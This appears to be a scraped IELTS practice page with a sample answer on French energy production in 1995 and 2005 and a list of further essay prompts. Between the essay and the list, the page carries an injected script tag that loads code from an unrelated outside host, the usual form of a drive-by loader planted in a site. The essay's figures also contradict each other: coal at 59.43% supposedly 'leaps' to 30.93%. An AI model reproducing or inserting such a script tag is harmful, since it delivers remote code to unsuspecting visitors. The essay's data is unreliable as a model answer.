The chart below shows a comparison of different kinds of energy production in France in 1995 and 2005.
Given are the two pie charts delineating the percentage of…. distinctive genres of energy manufacturing in France during a 10- year period, commencing from 1995.
It is perceptible that energy from almost all sources shared a corresponding leaping pattern while the opposite was true for the output produced from petrol.
It is noticeable that gas, coal and petrol accounted for the main sources of energy in both 1995 and 2005. In 1995, gas comprised 29.63% of energy resources and coal constituted 59.43% of energy resources, followed by a slight leap to 30.31% for the former and to 30.93% for the latter. Conversely, petro recorded a remarkable moderation, petro initiated at 29.27% and slumped to 19.55% at the end of period.
When it comes to nuclear, there was a diminutive upswing with 6.4% and 10.10% in 1995 and 2005 respectively. In contrast, other energy heralded a significant proliferation from 4.9% to almost twice greater 9.10%.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The diagram below shows how electricity is generated in a hydroelectric power station Summarise the information by selecting and reporting the main features and make comparisons where relevant 73
- Some people think that the best way to be successful in life is to get a university education Others disagree and say that nowadays this is no longer true 78
- The bar chart shows the percentage of young people in higher education in 2000 2005 and 2010 Summarize the information by selecting and reporting the main features and make comparisons where relevant Write at least 150 words
- The bar chart shows the percentage of young people in higher education in 2000 2005 and 2010 Summarize the information by selecting and reporting the main features and make comparisons where relevant
- The bar chart shows the percentage of young people in higher education in 2000 2005 and 2010 Summarize the information by selecting and reporting the main features and make comparisons where relevant Write at least 150 words